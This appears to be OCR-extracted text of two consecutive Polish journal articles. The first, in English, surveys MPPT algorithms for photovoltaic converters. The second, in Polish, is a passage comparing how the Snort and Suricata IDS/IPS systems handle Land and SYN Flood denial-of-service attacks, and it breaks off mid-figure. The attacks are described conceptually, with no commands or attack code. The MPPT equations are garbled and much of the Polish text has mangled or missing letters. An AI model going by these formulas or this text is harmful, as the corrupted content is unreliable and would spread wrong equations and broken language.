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MPPT ALGORITHMS USED IN PHOTOVOLTAICS

Due to volatility of current-voltage characteristics of the photovoltaic module,
MPPT algorithms are important element of photovoltaic power station. In most
cases, MPPT algorithm controls power electronics converter, which receives
power directly from one or more modules. Maximum power point changes its
location together with insolation level temperature changes. There are also indirect,
direct and artificial intelligence supported methods. Indirect methods are fractional
methods and look-up table. Direct methods are Perturb & Observe and Incremental
conductance. Direct algorithms are widely used, because of their ability to model
maximum power point significantly better than indirect methods. Artificial
intelligence supported methods obtain even better results in determining optimal
operating conditions. Usage of these algorithms allows to increase the efficiency of
energy production, and furthermore financial benefits. Investment payback time
can also be shortened by using these methods, which are still being improved.

Keywords: MPPT, photovoltaics, perturb and observe, incremental conductance,
direct algorithms, indirect algorithms.

1. Introduction

In order to increase effectiveness of energy production by photovoltaic
cells, it is necessary to use MPPT algorithm (Maximum Power Point Tracking).
Such algorithm controls the converter which receives power directly from
module or modules, which generate electrical power from solar power.

1.1. Photovoltaic module current-voltage characteristic

Characteristic points of the module, short circuit current Isc and open circuit
voltage Uoc depends respectively on insolation and module temperature.

! Piotr Hadaj, Department of Power Electronics, Power Engineering and Complex Systems,
Rzeszow University of Technology, ul. Wincentego Pola 2, 35-959 Rzeszow, 178651772, e-mail:
piotr.hadaj@prz.edu.pl

2 Corresponding author: Marek Nowak, Department of Power Electronics, Power Engineering and
Complex Systems, Rzeszow University of Technology, ul. Wincentego Pola 2, 35-959 Rzeszow,
178651772, e-mail: mnowak@prz.edu.pl
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Because these parameters can change dynamically in time, module characteristic
changes too. As a result of changes of these variables, maximum power point
changes its location. Different insolation levels cause short circuit current
change, the higher insolation level, the higher short circuit current. Respectively,
the lower insolation level, the lower short circuit current. Fluctuations of this
parameter value does not affect open circuit voltage greatly. All characteristic
was done in PSIM software. PSIM uses described equations (1)-(6), in order to
model photovoltaic cell characteristics.

i=iph_id_ir )
. S
Iph=|sc0'_+ct'(T_Tref) (2)
SO
qvd
i =1, - (eAT 1) 3)
qEg, 1 1
T A Ty T
|o=|so'(a)3'eA o T (4)
i = Yo (5)
Rsh
T=T,+k-S (6)

In described equations S stands for light intensity, and So stands for light
intensity under standard test conditions, which is normally 1000 W/m2. Ty is
reference temperature and Rs stands for series resistance of each solar cell in
Ohm. Rsn is shunt resistance of each cell. lso stands for short circuit current of
each solar cell at the reference temperature Tt in A. s is diode saturation
current of each cell. Band energy of each cell is described as Eq. For each cell
ideality factor A is needed, which is also called emission coefficient, which is
around 2 for crystalline silicon or less for amorphous silicon. Temperature
coefficient is C.. Ks defines how the light intensity affects the solar cell

temperature. Value q is the electron charge (q=1.6-10"%), k is the Boltzmann

constant, Ta is the ambient temperature input and V is the terminal voltage across
the solar module. The current flowing out of the positive terminal of the module
is defined as i.

Fig. 1. illustrates the dependence of current-voltage characteristic of the
photovoltaic module of the insolation level changes, made created with PSIM.
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Fig. 1. The dependence of current-voltage characteristic of the photovoltaic module on the
insolation level changes. Created with PSIM software.

Open circuit voltage varies with module temperature. Higher temperature
causes lower open circuit voltage, and respectively, for lower temperatures the
voltage will be higher. Therefore it is important to cool cells duly. In
summertime, when insolation level is high, amount of produced electrical energy
might be reduced by module heating. Fluctuations of this parameter value does
not affect short circuit current greatly. Fig. 2 presents the dependence of open
circuit voltage on the temperature of photovoltaic cells. Fig. 3 shows short
circuit current change during temperature fluctuations.

Because the shape of module characteristic changed substantially,
maximum power point (MPP - Maximum Power Point) changed its location.
These changes are illustrated in Fig. 4 (dependence of the MPP on the insolation
level) and Fig. 5 (dependence of the MPP on the module temperature).
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Fig. 2. The dependence on current-voltage characteristic of the photovoltaic module on the
temperature of cells. Created with PSIM software.
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Fig. 3. Short circuit current dependence against temperature . Created with PSIM software.
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Fig. 4. Dependence of the MPP location on the varying insolation level. Created with PSIM
software.
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Fig. 5. Dependence of the MPP location on the varying module temperature. Created with PSIM
software.
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In order to keep this operating optimally, these changes should be tracked in
real time and reacted to respectively by changing the voltage or referential
current on converter which runs MPPT algorithm. There are several methods of
searching for optimal operating point of PV system.

2. The division of MPPT algorithms

MPPT algorithms divide usually in indirect methods, direct methods and
based on artificial intelligence. Indirect algorithms are based on databases which
may contain, for example, work characteristics for many different atmospheric
conditions in which a module can generate energy. Controller takes this data and
compares it to the actual state and choses best characteristic and uses it to set
voltage or referential current. Direct methods base on measurements of voltage
and current on converter that take place in real time. Using this information, it
can determine power level received from the modules. Generally, these types of
algorithms bring some oscillations to referential value, because the direction of
current and voltage change is calculated in real time. There are some methods
that use artificial intelligence. Generally, these methods are similar to
conventional MPPT algorithms, but they are supported by neural networks and
fuzzy logic technigues. By using these solutions, these methods can gain better
maximum power point mapping which significantly increases system efficiency.
[1, 2]

3. Indirect algorithms

3.1. Fractional methods

These algorithms use approximated dependence between short circuit
current, open circuit voltage and their values in maximum power point. From
time to time, depending on which parameter is measured, module is shorted (lIsc
measured) or opened (Uoc measured).

The main principle of open circuit voltage fraction method is to adopt
approximated condition, that maximum power point voltage (Uwpp) to open
circuit voltage (Uoc) ratio is constant (7).

ky = —MPP _ const )
U
Uoc
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where: ky — voltage ratio,
Uwmpp — maximum power point voltage
Uoc— open circuit voltage.

The ratio value depends on material and technology used to make
photovoltaic cell. In this method, control process is based on temporary
disconnecting the module and measuring open circuit voltage. Obtained value is
multiplied by ky factor from formula (7), which gives the referential voltage
which is also Uwpp Voltage (8).

Urer =Uwmpp =kyUoc (8)
where: Urer— converter referential voltage.

Fraction of short circuit current method bases on approximated dependence,
that maximum power point current (Iwep) to Isc ration is constant (9).

k, = uape = const 9)
|
ISC

where: k; — current ratio,
Impp— maximum power point current
Isc — short circuit current.

Aforementioned ratio depends on material and technology used to make
specific cell. In this method, control process is based on temporary shorting the
module and current measurement. Obtained value is multiplied by current ratio,
which gives the referential voltage to be used by converter. (10)

Irer = Impp =K Isc (10)
where: Irer— converter referential current.

Undoubted advantage of fractional methods is their simplicity — only one
value has to be measured, possibility of use converter itself to make
measurements and ease of implementation. Unfortunately, during measurements
power is not supplied to the receiver, which undeniably lowers whole system
efficiency. Also the dynamically changing module characteristic is
problematical. There are some solutions, where one of modules is shorted or
opened permanently. Then, controller can react to parameter changes
(temperature, insolation) in real time, but operating conditions of permanently
shorted or opened module can be significantly different from those supplying
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real receivers. In such situation maximal power point location may be
inaccurate. Therefore, fractional methods are rarely used as independent MPPT
algorithms, but they are often used to estimate optimal operating conditions in
other widely used methods to shorten the time of reaching maximal power.

3.2. Curve fitting method

This method bases on approximation of photovoltaic module power
characteristic using mathematical function, for example third-degree polynomial
(112).

P=aU®+bU?+cU +d (11)

On this basis function extreme point is calculated — maximum power point
voltage (12).

—b++/b*-3ac
Ve = 3a (12)

However, this method is somewhat problematic, because of calculation high
complexity. Every parameter of the formula needs to be estimated depending on
the atmospheric conditions, technology used in the production process and
material, which cell is made of. Significant amount of resources are used to
estimate optimal operating conditions. [1].

3.3. “Look-up table” method

This method uses a database consisting data about current and voltage
values at the maximum power point for various atmospheric conditions.
Algorithm used in this method gets needed values from memory and controls the
converter basing on actual calculations. Such approach requires the use of large
amounts of resources to build the database. It is also hard to predict all possible
combinations of insolation and temperature levels. Furthermore, cell parameters
change during long-time operation — same type modules can have different
characteristics, when they have different work time. Therefore, values obtained
from database will not be appropriate to gain maximum output power [1, 2].

4. Direct algorithms
4.1. P&O — Perturb and Observe

P&O method bases on causing module voltage to fluctuate and observing
output power changes continuously. Voltage is increased or decreased in first
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step, and each next step depends on the output power change type. When it
increases, voltage modification is continued, but if output power decreases,
voltage is changed in opposite direction. (Fig. 6).

This method is very simple to use and cheap to implement. The only flaw is
that oscillations are introduced into the system, therefore exact maximum power
point cannot be reached, only its proximity. Also, voltage, current and output
power measurements need to be done continuously. This method is not optimal,
when insolation level changes rapidly. [2, 3].

One of the most important factors of MPPT algorithm rating is time to get
to optimal operating conditions. Appropriate approach to decrease regulation
time seems to be increasing voltage change value. This will unfortunately also
increase output power fluctuations, which will affect whole system efficiency in

negative way.

Uin), lin)
dP=P()-P{n-1)
dU=U{r-Ugn-1)

Fig. 6. P&O algorithm details
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To partially circumvent the problem, variable voltage change value is used,
basing on fuzzy logic. In this approach, voltage, current and output power
changes values are used as input parameters. These parameters get their
fuzziness by assigning them to fuzzy sets in appropriate degree of membership,
using prepared functions. Obtained information is subjected to inference —
basing on implemented rule database, final degree of membership is calculated,
which, after sharpening process, indicates the direction and value of next
referential parameter change (for example voltage). This process is illustrated on
figure 7.

Rule database

L

dv

Fuzziness »  Conclusion #» Sharpening |——»
dP

Fig. 7. Block diagram of the fuzzy logic MPPT algorithm

There are many other ways to make use of fuzzy logic in P&O method. It allows
to speed up algorithm speed and better approximation of maximum power point
location. Adoption of fuzzy logic for this purpose allows to speedup algorithm
and to achieve better approximation of maximum power point. Thanks to
variable step value, which is not possible in conventional method, the closer to
the MPP, algorithm can use smaller step value. In this case, oscillations will be
much smaller in close MPP neighbourhood and whole system efficiency will
increase as well. [4]

4.2. Incremental conductance method

This method bases on dependency (13).

dP
=/ -0 13
10 (13)

It is true dependency when photovoltaic cell works in maximum power
point. However, when the actual operating point is not the maximum power
point, its location can be determined using the sign of derivative (14).



14 P. Hadaj, M. Nowak

dP
a)—>0 b)——<0 14
TR (14)

Uin], lin)
di=in)In-1)
dU=Un-Ulne 1)

[(wuu | [ v ] [ vuau | [ s |

Fig. 8. Incremental Conductance algorithm on block diagram

When the dependency (14a) is true, it means that actual operating point is
located on growing part of power characteristic and to achieve optimal operating
point, voltage increasing is needed. In case when condition (14b) is true, the
module is actually operating with voltage higher than Umer — operating voltage
has to be decreased to achieve MPP. Presented equations can be transformed as
in (15).

dP_dU)_, ,di

(15)
du du du

Then, derivatives have to be replaced by increments. In the end, final
dependencies are established, which are base for the method — (16).
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Al |
a)— > —
AU U

p A1
AU U

(16)

As in case (14), when (16a) is true, voltage has to be increased, but when
equation (16b) is true, voltage has to be decreased to achieve maximum output
power. Figure 8 presents the principles of this method.

Compared do P&O method, this algorithm can gain better efficiency for
fast insolation fluctuations. What’ more, oscillations near MPP for still
atmospheric conditions as significantly smaller. As in P&O, measurement of
current and voltage is needed, which may be disadvantage of this method.
However, the algorithm is continually improved — there is modification, which
uses cell parasitic capacitance to calculate output. [5]

4.3. Forced oscillations method

In this method, small amplitude oscillations are introduced to reference
value. Oscillation frequency can be about 100 Hz. PV module output power
changes in function of voltage are analysed and actual operating point is
determined. In case when output power changes are in the same phase as
voltage, actual operating point is located on the left of MPP. Therefore,
reference value has to be increased. When signals are shifted relative to each
other by 180°, actual operating point is located on the left of MPP — referential
value has to be decreased. For maximum power point, oscillations have doubled
frequency compared to modulated voltage. As a result of phase and amplitude
analysis, maximum power point location is obtained — which allows to achieve
variable step value and to model MPP more precisely. However, there are some
problems in situations when low output power is generated by system.
Oscillating and measuring part of the system is quite complicated to construct

[6].

5. Conclusion

The article classifies and describes the most commonly used MPPT
algorithms used in photovoltaics. Basing on their working principles, they were
divided into direct, indirect and methods supported by artificial intelligence.

The most commonly used indirect methods include fractional method,
"look-up table" and the curve fitting. However, due to much weaker possibility



16 P. Hadaj, M. Nowak

of approximating MPP, they are not used as a stand-alone algorithms. They can
serve as a support for more efficient systems, eg. determining the approximate
coordinates of the maximum power point.

The most commonly used direct algorithms are “perturb & observe” and
“incremental conductance”. Their biggest problem is the introduction of
oscillations in the power module output value. Therefore, these methods are
constantly being improved and developed different modifications. Often they are
supported by artificial intelligence (fuzzy logic, neural networks). This allows
even better approximating the MPP and thereby increasing the efficiency of the
system. Another example of algorithm of this type is a forced oscillation
method.

Usage of MPPT algorithms in power electronics converter, which receives
energy from photovoltaic modules allows to increase the amount power
generated by PV power station. Thereby, financial benefits can be increased and
payback time can be shortened. Algorithms mentioned are still being improved,
therefore photovoltaic systems efficiency is growing.
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ALGORYTMY MPPT STOSOWANE W FOTOWOLTAICE

Streszczenie

Ze wzgledu na zmienno$¢ charakterystyki pradowo-napigciowej modutu fotowoltaicznego,
algorytmy MPPT sa waznym elementem elektrowni fotowoltaicznej. Algorytm MPPT najczesciej
steruje przeksztattnikiem energoelektronicznym, ktéry bezposrednio odbiera moc z modutu lub
grupy modutow. Punkt mocy maksymalnej zmienia swoje potozenie, wraz ze zmiang nastonecznia
i temperatury pracy modulu. Istnieja metody posrednie, bezposrednie i wspomagane sztuczng
inteligencja. Do metod posrednich mozemy zaliczy¢ m. in. metody utamkowe i metodg look-up
table, do bezposrednich algorytm Perturb & Observe oraz Incremental conductance. Szerzej
stosuje si¢ algorytmy bezposrednie, gdyz lepiej odwzorowuja punkt mocy maksymalnej od metod
posrednich, a wspomagane sztuczng inteligencja pozwalaja jeszcze lepszym stopniu wyznaczyé
optymalne warunki pracy. Stosowanie tych algorytméw pozwala zwigkszyé efektywnosé
produkcji energii, a tym samym korzysci finansowe po moze znaczaco skroci¢ czas zwrotu
inwestycji. Sa one w dalszym ciagu udoskonalane.

Stowa kluczowe: MPPT, fotowoltaika, zaburz i obserwuj, konduktancja przyrostowa, algorytmy
bezposrednie, algorytmy posrednie

DOI: 10.7862/re.2016.6

Tekst ztozono w redakcji: maj 2016
Przyjeto do druku: czerwiec 2016
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BADANIE SPRAWNO SCI SYSTEMOW IDS/IPS
PRZED ATAKAMI DOS | DDOS

Tematem artykutu jest analiza spraétiosystemow wykrywania i zapobiegania
wilamaniom przed atakami odmowy ustugi. W pgkawej cz&¢ artykut w opar-
ciu o wynik analiz, zaprezentowano skakoblemu omawianych zagrmi. W ko-
lejnych paragrafach przedstawiono metagikda okreslenia podatnéci na ataki
odmowy ustugi. Nagpnie przeprowadzono symulacje wydajoioi skutecznéci
obrony przed atakami dwéch sieciowych systeméw wwykinia wtama w seg-
mencie open-source Snort i Suricata. Analizowarzevigzania pracujc w trybach
nfqueue i af-packet, przy zestawie tych samych rdgrzeprowadzone testy po-
réwnawcze z wykorzystaniem dwéch najpopularniegagraen tj. Land i SYN
Flood, wykazaly przewagrozwigzania Suricata w skutecztd wykrywania ana-
lizowanych atakow. Artykut jest adresowany do ogéfmupcych sé wdrazaniem

i administracy systemow zabezpieaze

Stowa kluczowe:sieci, bezpieczestwo, ochrona, testy, odmowa, ustugi, wykry-
wanie, wtargricie, przeciwdziatanie

1. Wprowadzenie

XXI wiek to okres olbrzymiego rozwoju Informatyki wontelécie urz-
dzen elektronicznych magych dosgp do globalnej sieci Internet. Moa zaob-
serwowd, ze to zjawisko nieustannie pebia i rozwija s¢. Standardem stato
sie, ze urzdzenia elektroniczne takie jak smartfony, tabl&tymputery czy te-
lewizory g wyposaone w maliwos¢ dostpu do sieci, co wcej w najblzszym
czasie przewiduje si ze dosgp do sieci uzyskajtakze uradzenia AGD. W
konsekwenciji, wraz z rozwojem adzei i technik sieciowych rinie zagrae-
nie dla oséb z nich korzysgajych. Na przestrzeni ostatnich lat, odnotownsi¢
permanentny wzrost pojawianiagsnowych zagréen takich jak: cyberataki,

1 Mariusz Szarek, Politechnika Rzeszowska, 783535081387 @stud.prz.edu.pl

2 Autor do korespondencji: Mariusz Nycz, Politechnikzeszowska, Katedra Energoelektroniki,
Elektroenergetyki i Systeméw Ztonych, mnycz@prz.edu.pl

3 Piotr Hajder, Akademia Gérniczo-Hutnicza, piootjdes@gmail.com
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wirusy, robaki, konie trojaskie ktore gtéwnie ukierunkowane sa wykorzysta-
nie luk w zabezpieczeniach sgi@awych i oprogramowaniu. Motywacptakup-
cych jest przede wszystkich h kradziey danych uaytkowni-
ka/firmy/instytucji, usurgcia danych, przefgia kontroli nad urgdze-
niem/kontem/systemem czy spowodowaniem sytuackubdostpu do danego
serwisu. Skuteczna obrona przed tego typu zagiami wymaga od admini-
stratora zastosowania szerokiego spektrum zabempieRodzaj, skala i zaa-
wansowanie stosowanych zabezpiécpewinno by dostosowane do cenitd
danych, ktore &da podlegé ochronie.

Wytwarzane aplikacje, programy i systemy bardzgsttzposiadaj rézne luki
programowe, ktore uzateione § od rodzaju i wielkéci programu oraz zasto-
sowanego kodurédtowego. Luki te $ wykorzystywane przez hackeréw do
przeprowadzania phego typu atakdw. Wsparcie oraz aktualizacje onogr
wania zazwyczajgniewystarczajce gdy. czas pomidzy wykryciem luki przez
hackera a opracowaniem i wprowadzeniem aktualifesfiwykorzystywany do
przeprowadzenia atakow. Istnieje wiele rogzeh umazliwiajacych znacace
obnizenie a czasami nawet wyeliminowanie wysijacego ryzyka.

Aktualnie jednym z najbardziej powszechnych i stemaych atakéw gataki
odmowy ustugi (ang. Denial of Service) oraz rozpooe ataki odmowy ustugi
(ang. Distributed Denial of Service). Celem tychkaiw jest wywotanie paradi
serwerow ranego rodzaju firm i instytucji takich jak portaletérnetowe, banki,
sklepy internetowe, strony organizacjadbwych czy naukowych. Ataki te po-
wodujg znacace wydhrenie czasu oczekiwania na odpowiathnego serwisu
lub w najgorszym czasie jego catkowite zablokowarditakowany podmiot
moze ponid¢ wysokie straty finansowe i marketingowe, gdienci mog stra-
ci¢ zaufanie do bezpiecistwa i kompetencji danej firmy. Atak typu DoS wyko-
rzystywany mae by réwniez w celach politycznych aby spowodovanieru-
chomienie newralgicznych dlafstwa serwisow i systemow.

Jednym z najnowszych i najbardziej skutecznych ap@s na ochrog urzy-
dzen, systeméw i sieci przed atakami DoS i DDafs systemy wykrywania
wtargni¢ (ang. Intrusion Detection System) i systemy przdeziatania wtar-
gnieciom (ang. Intrusion Prevention System). System$ IDPS g fizycznymi i
programowymi rozwgzaniami wykorzystywanymi w celu wykrycia, a w przy-
padku systeméw IPS réwrieeagowania na proby ataku na systemydeania
i sieci komputerowe.

2. Charakterystyka atakdw odmowy ustugi

Ataki odmowy ustugi s atakami cybernetycznymi, ktérych celem jest
uniemaliwienie funkcjonowania danego systemu komputerawégp ustugi
sieciowej. § to jedne z najstarszych zaged informatycznych, pomimo tego
wciaz naleza do czotowki najbardziej skutecznych i wydajnychkaiw cyberne-
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tycznych. Ataki te posiad@jszerokie spektrum wersji i rodzajow, ktére veyst
puja w zalenosci od sposobu wykonania ataku i jegozzocsci. Jednym ze
sposobdw jest emisja nadmiernego ruchu, aby wyktazywszystkie zasoby
sprztowe i obliczeniowe ofiary przez co ngsit maze uszkodzenie spg
ofiary. Inny sposéb polega nayeiu znalezionych luk w zabezpieczeniach-ro
nych protokotéw warstw modelu ISO/OSI. Niskie kgsptzeprowadzenia ata-
kéw odmowy ustugi oraz ich mate skomplikowanie pdwe,ze czstotliwos¢ i
zlozonaé¢ atakow systematycznie zkisza s¢. Powstaj coraz to nowsze i bar-
dziej skomplikowane i rozbudowane metody, techrskipsoby i rodzaje tych
atakow. Mana dokona klasyfikacji atakow odmowy ustugi podilem warstw
modelu ISO/OSI na ktére te ataki inger{4][2][17][18].

Klasyfikacja atakéw DoS i DDoS

Warstwa Warstwa Warstwa Warstwa
aplikaciji prezentaciji transportowall sieciowa

Rys. 1. Klasyfikacja atakow DoS na podstawie warsivdelu ISO/OS[1][2].
Fig. 1. The classification of DoS attacks on thsi®af the ISO/OSI model layers [1][2].

2.1. Statystyczne zestawienie wygtujacych naswiecie atakéw odmowy
ustugi

Ochrona sprgu, serwerow, serwisow sieciowych, zasobéw i danycted
atakami odmowy dosgpu jest jednym z dominagych zagadnie z jakimi spo-
tykajg sie firmy zajmupce sé bezpieczastwem elektronicznym i produkgj
rozwigzan sprztowych i programowych zapewnaglych ochrog przed zagro-
zeniami cybernetycznymi. Firmy te dokoauyada wystpujacych atakéw cy-
bernetycznych i ich trendow a ngstie przedstawigj wyniki tych bada za
pomog licznych statystyk. Firma Kaspersky co kwartatammwuje i publikuje
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dane statyczne dotygze atakéw DoS i DDoS wygiujagcych naswiecie. We-
diug raportuKaspersky DDoS Intelligence Report for Q4 2@tika, ze w
czwartym kwartale 2015 najgie] wysepujacym naswiecie rozproszonym
atakiem odmowy ustugi byt atak SYN-Flood, ktoryretevit 57% wszystkich
przeprowadzonych w czwartym kwartale 2015 roku rogponych atakow od-
mowy ustugi. Tendencja w poréwnaniu do poprzegago kwartatu wskazuje,
ze atak ten jest coraz bardziej powszechnyzgego czstotliwos¢ wzrosta o 6
punktéw procentowych. Innymi egto wystpujacymi atakami DDoS byly TCP-
DDoS, HTTP-DDoS, ICMP-DDoS i UDP-DDoS. Na pgszym wykresie za-
prezentowano zestawienie ¢siotliwosci wystpowania okrélonych atakéw
DDoS w trzecim i czwartym kwartale 2015 roku[3]:

[e2]
o
1

B Cczwarty kwartat 2015
[ | Trzeci kwartat 2015

Ujecie procentowe atakéw DDoS [%]
3 8 5 g
| | | |

[Eny
o
1

SYN-DDoS TCP-DDoS HTTP-DDoS ICMP-DDoS UDP DDo
Klasyfikacja atakéw DDoS

Rys. 2. Procentowe zestawienie vgpstigcych w trzecim i czwartym kwartale 2015 roku rodza-
jow atakdw DDoS néwiecie [3].

Fig. 2. The percentage summary of DDoS attacksiwtuiok place around the world in Q3 and Q4
2015 [3].

Z raportu firmy Kaspersky wynika ponadta najczsciej spotykanymi w
czwartym kwartale 2015 roku atakami DDoS dwaecie byly ataki o bardzo
krétkim czasie trwania to znaczy ataki pgji4 godzin, ktére zajmowaty 70%
wszystkich atakéw. W poréwnaniu z trzecim kwartateieznacznie wzrosta
czgstotliwos¢ atakéwsredniej diugdci (5-49 godzin), ktéra wynosita 26,5% w
poréwnaniu do 23,9% z trzeciego kwartatu. Podolmée sé rzecz z atakami
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diugimi (powyzej 50 godzin), ché mimo to te ataki nadal wygiowaly margi-
nalnie to znaczy przegtnie 2 na 100 wyspujacych w czwartym kwartale ata-
kow DDoS byto atakami dtugimi. Na paszym wykresie zaprezentowano ze-
stawienie cgstotliwaosci wystpowania atakow DDoS o oldlenej diugaci w
trzecim i czwartym kwartale 2015 roku [3]:

[e2]
o
1
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[ | Trzeci kwartat 2015

N w B a1
o o o o
1 1 1 1

Ujecie procentowe atakéw DDoS [%]
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|
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<4 godz. 5-9 godz. 10-19 godz. 20-49 godz. 50-99 godz.
Czas trwania ataku

Rys. 3. Procentowe zestawienie vepstigcych w trzecim i czwartym kwartale 2015 roku atakéw
DDoS o okrélonych diugdciach nawiecie [3].

Fig. 3. The percentage summary of DDoS attacksadfqular duration which took place around
the world in Q3 and Q4 2015 [3].

Jedn z najciekawszych informacji w raporcie firmy Kasgle/ jest ta mo-
wigca o0 systemach operacyjnych zainstalowanych na utargch botnet, czyli
komputerach, ktére zostaty zainfekowane wgkorzystywane przez hackerow
miedzy innymi do przeprowadzenia atakow odmowy ustBgatystyka ta mowi
ze 54,8% atakow odmowy ustugi byto przeprowadzonytez komputery zo-
ombie z zainstalowandystrybucy systemu Linux, 2a45,2% atakdéw odmowy
ustugi pochodzito z komputeréw na ktorych zainsteloy byt system Win-
dows. Wyniki te g niemal catkowi korelach wynikow wystpujacych w trze-
cim kwartale tego roku. Parsizy wykres przedstawia porownanie procentowe
liczby komputeréw zoombie z zainstalovgaaystrybucy Linuxa oraz z zainsta-
lowanym systemem Windows, ktore pasHly do przeprowadzenia atakow
DDoS w trzecim i czwartym kwartale 2015 roku[3]:
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Rys. 4. Procentowe poréwnanie komputeréw ,Zoomhieainstalowanymi systemami Linux i

Windows, ktére zostaly wykorzystane w trzecim i extym kwartale 2015r. do przeprowadzenia
atakéw DDoS [3].

Fig. 4. The percentage comparison between ‘Zoondaieiputers with Linux and Windows oper-
ating systems, which were used to carry out DDt ks in Q3 and Q4 2015 [3].

Na podstawie raportu firmy Kaspersky, ktéra dokanadrownania trzecie-
go i czwartego kwartalu 2015r. dotycego rozproszonych atakéw ustugi na
swiecie mana wysuné wyskpujace tendengj dotyczce atakéw odmowy
ustugi. Coraz wiksz czestotliwosé zyskup najbardziej rozpowszechnione ataki
SYN-Flood. Wys¢puje staty rozwoj i coraz wksze zaawansowanie atakow i
hackeréw o czymdwiadczy zwekszapca sk liczba atakdéw Ggrednim i diugim
czasie trwania. Nagpito odwrdcenie ogstotliwasci srodowisk systemowych z
jakich przeprowadzane sozproszone ataki odmowy ustugi. Domigaym stato
sie przeprowadzanie atakow z jednostek komputerowydpatrzonych w sys-
tem operacyjny Linux [3].

3. Analiza skuteczndci systeméw IDS/IPS Suricata i Snort na
ataki DoS i DDoS

Systemy wykrywania wtarged (ang. Intrusion Detection System — IDS)
oraz przeciwdziatania wtarggmiom (ang. Intrusion Prevention System)rez-
wigzaniami sprgtowymi, programowymi i sieciowymi, ktére na celu jma
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zmaksymalizowanie bezpiecmtwa wytkowania sieci komputerowych w cza-
sie realnym poprzez wykorzystanie specjalnie dm teglu skonstruowanych
aplikacji, ustug i urzdzen [4].

Systemy IDS s wykorzystywane do wynajdywania wtargéi a scislej
rzecz ujmuyc g3 to specjalistycznie opracowane rozeania takie jak aplikacje,
ustugi i uradzenia, ktére guruchamiane na wdzeniach magcych dosgp do
sieci. Celem funkcjonowania systemow tego typu gdsterwacija sieci podgk
tem wystpowania potencijalnie niebezpiecznych dzialalementow, skfadni-
kow oraz przypadkow ztamania zasad bezpigstrea elektronicznego. Znale-
zienie niepagdanego zjawiska sprawiae system generuje komunikat, ktory
moze by przechowywany w pliku tekstowym lub bazie danydddnym z naj-
wazniejszych elementOéw procesu opracowywania i twaezé@go typu syste-
mow jest implementacja rozgdan dzieki ktorym maliwe jest petne zautoma-
tyzowanie procesu ochrony sieci na przyktad popragdementacgj rozwigza-
nia umaliwiajacego dynamiczntransformagj opcji i wkasciwosci zapory og-
niowej. Dzeki temu maliwe jest unikngcie wystpienia naday¢ na przykiad
uzycia luk w oprogramowaniu[4][5][6].

Systemy IPS s ewolucp systeméw IDS, ktdre poza funkcjvykrywania
pozwalaj zapobiegé sytuacji wlamania. Opieragsto na odrzucaniu zainfeko-
wanych pakietow w transmisji do miejsca doceloweba.funkcjonalnéé sys-
temow IPS wymaga ich moraw miejscu na linii transmisji pakietow[4].

Badania skuteczioi systemow IDS/IPS dokonano na przyktadzie dwéch
systemoOw Suricata i Snort.

3.1. Analiza skutecznéci systeméw Suricata i Snort pracugcych w try-
bie nfqueue na rozproszone ataki odmowy ustugi — lrel oraz SYN-
Flood.

Rozpatrywane systemy Suricata i Snort praceiw trybie nfqueue podda-
no badaniu skuteczic ich dziatania w odpowiedzi na wyglljace rozproszo-
ne ataki odmowy ustugi: Land oraz SYN-Flood. Bepioméwiono charakter i
wihasciwosci tych atakow:

» Land - atak réniacy sk od standardowych atakéw odmowy ustugi,
poniewa nie polega on na olgieniu srodowiska atakowanego
powodzi pakietéw wystanych z vhych uradzen, lecz na wysta-
niu pojedynczego, odpowiednio zmodyfikowanego paki&Spre-
parowany pakiet to pakiet TCP SYN, ktdry ma ustawi@dpo-
wiednio zmodyfikowane pola SOURCE i DESTINATION (ad
zrédtowy i docelowy). Skutkuje to u ofiary koniecZdmieustan-
nego odpowiadania samemu sobie co sprawgapraca zostaje
znacznie spowolniona, a w najgorszym przypadku okiwia po-
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przez wyczerpanie zasobdéw. Podobnie jak SYN-FloaddLjest
atakiem operuajcym na czwartej warstwie modelu ISO/OSI[7][8].

* SYN Flood — jest atakiem skierowanym na doprowadzeaso-
bow sprztowych i obliczeniowych ofiary w stan wysyceniaast
dardowy ruch sieciowy sktadacst proby nawjzywania padczenia
TCP z serwerem poprzez gorenie komunikatu SYN do serwera.
Transmisja komunikatu SYN-ACK do klienta oznacza serwer
wyraza zgo@ nazadanie. Dz¢ki temu zachodzi proces naaania
tacznaici. Atak SYN-Flood dzy aby proces nawkzania hcznaci
nie skaczyt sk powodzeniem, poprzez wysylanie do serwera
ogromnej liczby komunikatow SYN. Proces ten zazvayazywa
nieprawdziwych, sfatszowanych adreséw IBitkownika. Kade
zapytanie wymaga od serwera aby ten dokonat alo&dppowied-
niej liczby zasobow spetowych i obliczeniowych oraz aby nast
pito dostarczenie komunikatu SYN-ACK w odpowiedai kezde z
nich. Sytuacja ta, w ktérej serwer nie otrzymagelinych komuni-
katow ACK sprawiaze serwer nie me dokona zwolnienia zaso-
bow sprztowych i obliczeniowych. Wszystkie z#¢ zasoby po-
wodujg brak maliwosci nawizania podczenia u innych iytkow-
nikow[9][10].

Srodowisko uyte do przeprowadzenia badesymulacji sktadato siz ma-
szyny wirtualnej z zainstalowanym systemem KaliuxnMaszyna ta petnita
funkcje srodowiska atakuacego. Do przeprowadzenia atakiyto darmowego
generatora pakietow hping3. Pazadowiskiem atakuicym utworzono maszy-
ne wirtualmg z zainstalowanym systemem Debian oraz systemaS8iiH3, ktéra
petnita funkcg srodowiska atakowanego. Konfiguracja sktada¢stei z routera,
ktory zapetnial komunikagj pomigdzy maszynami wirtualnymi i Interne-
tem[11][12][13][14][15][16].

Na pocatku poddano analizie sprawdtosysteméw IDS/IPS Snort i Surica-
ta pracujcych w trybie nfqueue w ochronie przed atakiem Langrzypadku
réznej liczby terminali uruchomionych wrodowisku atakujcym. Ponkszy
wykres przedstawia czasy odpowiedzi podczas konagjiikomedzy poszcze-
golnymi podmiotami sieci w sytuacji przeprowadzeataku Land na system
bezzadnego uruchomionego systemu IDS/IPS:
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Rys. 5. Czasy odpowiedzi podczas komunikacji gozy poszczegdlnymi podmiotami sieci w
sytuacji przeprowadzenia ataku Land na systenrdeézego uruchomionego systemu IDS/IPS.

Fig. 5. Response time during communication betwespeactive network entities in case of Land
attack on the system without any of the IDS/IPSesys operating.

Ponizszy wykres przedstawia czasy odpowiedzi podczasukikacji po-
miedzy poszczego6lnymi podmiotami sieci w sytuacji prosvadzenia ataku
Land na system z uruchomionym systemem IDS/IPSc&aripracujcym w
trybie nfqueue:



28 M. Szarek, M. Nycz, P. Hajder

—®&— NOosSt-to-route

100+ ---@--- host-to-host
+ A host-to-victim

%1 = v-- host-to-Internet
= 80- ~4-- Victim-to-router
e 4 < victim-to-host
‘N 70 »— victim-to-Internet
'S 604
o . o / @ g .
g %] i oo
2 40 - * e
8 i v

30 »

20+

